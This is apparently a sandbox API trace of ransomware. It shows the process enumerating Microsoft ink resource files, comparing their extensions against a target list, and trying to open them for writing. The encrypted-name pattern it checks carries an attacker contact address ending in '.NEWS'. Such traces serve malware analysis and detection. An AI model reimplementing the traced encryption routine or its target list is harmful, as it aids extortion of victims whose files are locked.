lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0158.223] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.223] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.224] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10752) returned 1 [0158.224] CloseHandle (hObject=0x3cc) returned 1 [0158.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0158.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.224] lstrlenW (lpString=".doc") returned 4 [0158.224] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.224] lstrlenW (lpString=".docx") returned 5 [0158.224] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.224] lstrlenW (lpString=".pdf") returned 4 [0158.224] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.224] lstrlenW (lpString=".xls") returned 4 [0158.224] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.224] lstrlenW (lpString=".xlsx") returned 5 [0158.224] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.224] lstrlenW (lpString=".ppt") returned 4 [0158.224] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.224] lstrlenW (lpString=".zip") returned 4 [0158.225] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.225] lstrlenW (lpString=".rar") returned 4 [0158.225] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.225] lstrlenW (lpString=".bz2") returned 4 [0158.225] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.225] lstrlenW (lpString=".7z") returned 3 [0158.225] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.225] lstrlenW (lpString=".dbf") returned 4 [0158.225] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.225] lstrlenW (lpString=".1cd") returned 4 [0158.225] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.225] lstrlenW (lpString=".jpg") returned 4 [0158.225] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.225] lstrlenW (lpString=".doc") returned 4 [0158.225] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.225] lstrlenW (lpString=".docx") returned 5 [0158.225] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.225] lstrlenW (lpString=".pdf") returned 4 [0158.225] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.225] lstrlenW (lpString=".xls") returned 4 [0158.225] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.225] lstrlenW (lpString=".xlsx") returned 5 [0158.225] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.225] lstrlenW (lpString=".ppt") returned 4 [0158.225] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.225] lstrlenW (lpString=".zip") returned 4 [0158.225] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.225] lstrlenW (lpString=".rar") returned 4 [0158.225] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.226] lstrlenW (lpString=".bz2") returned 4 [0158.226] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.226] lstrlenW (lpString=".7z") returned 3 [0158.226] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.226] lstrlenW (lpString=".dbf") returned 4 [0158.226] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.226] lstrlenW (lpString=".1cd") returned 4 [0158.226] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0158.226] lstrlenW (lpString=".jpg") returned 4 [0158.226] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.226] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.226] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.226] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9728) returned 1 [0158.226] CloseHandle (hObject=0x3cc) returned 1 [0158.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0158.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.227] lstrlenW (lpString=".doc") returned 4 [0158.227] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.227] lstrlenW (lpString=".docx") returned 5 [0158.227] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.227] lstrlenW (lpString=".pdf") returned 4 [0158.227] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.227] lstrlenW (lpString=".xls") returned 4 [0158.227] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.227] lstrlenW (lpString=".xlsx") returned 5 [0158.227] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.227] lstrlenW (lpString=".ppt") returned 4 [0158.227] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.227] lstrlenW (lpString=".zip") returned 4 [0158.227] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.227] lstrlenW (lpString=".rar") returned 4 [0158.227] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.227] lstrlenW (lpString=".bz2") returned 4 [0158.227] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.227] lstrlenW (lpString=".7z") returned 3 [0158.227] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.227] lstrlenW (lpString=".dbf") returned 4 [0158.227] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.227] lstrlenW (lpString=".1cd") returned 4 [0158.227] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString=".jpg") returned 4 [0158.228] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString=".doc") returned 4 [0158.228] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.228] lstrlenW (lpString=".docx") returned 5 [0158.228] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.228] lstrlenW (lpString=".pdf") returned 4 [0158.228] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.228] lstrlenW (lpString=".xls") returned 4 [0158.228] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.228] lstrlenW (lpString=".xlsx") returned 5 [0158.228] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.228] lstrlenW (lpString=".ppt") returned 4 [0158.228] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString=".zip") returned 4 [0158.228] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.228] lstrlenW (lpString=".rar") returned 4 [0158.228] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.228] lstrlenW (lpString=".bz2") returned 4 [0158.228] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.228] lstrlenW (lpString=".7z") returned 3 [0158.228] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString=".dbf") returned 4 [0158.228] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString=".1cd") returned 4 [0158.228] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0158.228] lstrlenW (lpString=".jpg") returned 4 [0158.229] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.229] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.229] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.232] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10240) returned 1 [0158.232] CloseHandle (hObject=0x3cc) returned 1 [0158.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0158.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.232] lstrlenW (lpString=".doc") returned 4 [0158.232] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.233] lstrlenW (lpString=".docx") returned 5 [0158.233] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.233] lstrlenW (lpString=".pdf") returned 4 [0158.233] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.233] lstrlenW (lpString=".xls") returned 4 [0158.233] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.233] lstrlenW (lpString=".xlsx") returned 5 [0158.233] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.233] lstrlenW (lpString=".ppt") returned 4 [0158.233] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.233] lstrlenW (lpString=".zip") returned 4 [0158.233] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.233] lstrlenW (lpString=".rar") returned 4 [0158.233] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.233] lstrlenW (lpString=".bz2") returned 4 [0158.233] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.233] lstrlenW (lpString=".7z") returned 3 [0158.233] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.233] lstrlenW (lpString=".dbf") returned 4 [0158.233] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.233] lstrlenW (lpString=".1cd") returned 4 [0158.233] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.233] lstrlenW (lpString=".jpg") returned 4 [0158.233] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.233] lstrlenW (lpString=".doc") returned 4 [0158.233] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.233] lstrlenW (lpString=".docx") returned 5 [0158.233] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.233] lstrlenW (lpString=".pdf") returned 4 [0158.234] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.234] lstrlenW (lpString=".xls") returned 4 [0158.234] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.234] lstrlenW (lpString=".xlsx") returned 5 [0158.234] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.234] lstrlenW (lpString=".ppt") returned 4 [0158.234] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.234] lstrlenW (lpString=".zip") returned 4 [0158.234] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.234] lstrlenW (lpString=".rar") returned 4 [0158.234] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.234] lstrlenW (lpString=".bz2") returned 4 [0158.234] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.234] lstrlenW (lpString=".7z") returned 3 [0158.234] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.234] lstrlenW (lpString=".dbf") returned 4 [0158.234] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.234] lstrlenW (lpString=".1cd") returned 4 [0158.234] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0158.234] lstrlenW (lpString=".jpg") returned 4 [0158.234] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.234] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.234] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.235] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10752) returned 1 [0158.235] CloseHandle (hObject=0x3cc) returned 1 [0158.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0158.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.235] lstrlenW (lpString=".doc") returned 4 [0158.235] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.235] lstrlenW (lpString=".docx") returned 5 [0158.235] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.235] lstrlenW (lpString=".pdf") returned 4 [0158.235] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.235] lstrlenW (lpString=".xls") returned 4 [0158.235] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.235] lstrlenW (lpString=".xlsx") returned 5 [0158.235] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.235] lstrlenW (lpString=".ppt") returned 4 [0158.235] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString=".zip") returned 4 [0158.236] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.236] lstrlenW (lpString=".rar") returned 4 [0158.236] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.236] lstrlenW (lpString=".bz2") returned 4 [0158.236] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.236] lstrlenW (lpString=".7z") returned 3 [0158.236] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString=".dbf") returned 4 [0158.236] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString=".1cd") returned 4 [0158.236] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString=".jpg") returned 4 [0158.236] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString=".doc") returned 4 [0158.236] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.236] lstrlenW (lpString=".docx") returned 5 [0158.236] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.236] lstrlenW (lpString=".pdf") returned 4 [0158.236] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.236] lstrlenW (lpString=".xls") returned 4 [0158.236] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.236] lstrlenW (lpString=".xlsx") returned 5 [0158.236] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.236] lstrlenW (lpString=".ppt") returned 4 [0158.236] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.236] lstrlenW (lpString=".zip") returned 4 [0158.236] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.236] lstrlenW (lpString=".rar") returned 4 [0158.236] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.237] lstrlenW (lpString=".bz2") returned 4 [0158.237] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.237] lstrlenW (lpString=".7z") returned 3 [0158.237] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.237] lstrlenW (lpString=".dbf") returned 4 [0158.237] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.237] lstrlenW (lpString=".1cd") returned 4 [0158.237] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0158.237] lstrlenW (lpString=".jpg") returned 4 [0158.237] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.237] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.237] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0158.237] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10752) returned 1 [0158.237] CloseHandle (hObject=0x3cc) returned 1 [0158.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0158.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0158.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0158.238] lstrlenW (lpString=".doc") returned 4 [0158.238] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.238] lstrlenW (lpString=".docx") returned 5 [0158.238] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.238] lstrlenW (lpString=".pdf") returned 4 [0158.238] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.238] lstrlenW (lpString=".xls") returned 4 [0158.238] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.238] lstrlenW (lpString=".xlsx") returned 5 [0158.238] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.238] lstrlenW (lpString=".ppt") returned 4 [0158.238] lstrcmpiW (lpString1=".ppt", 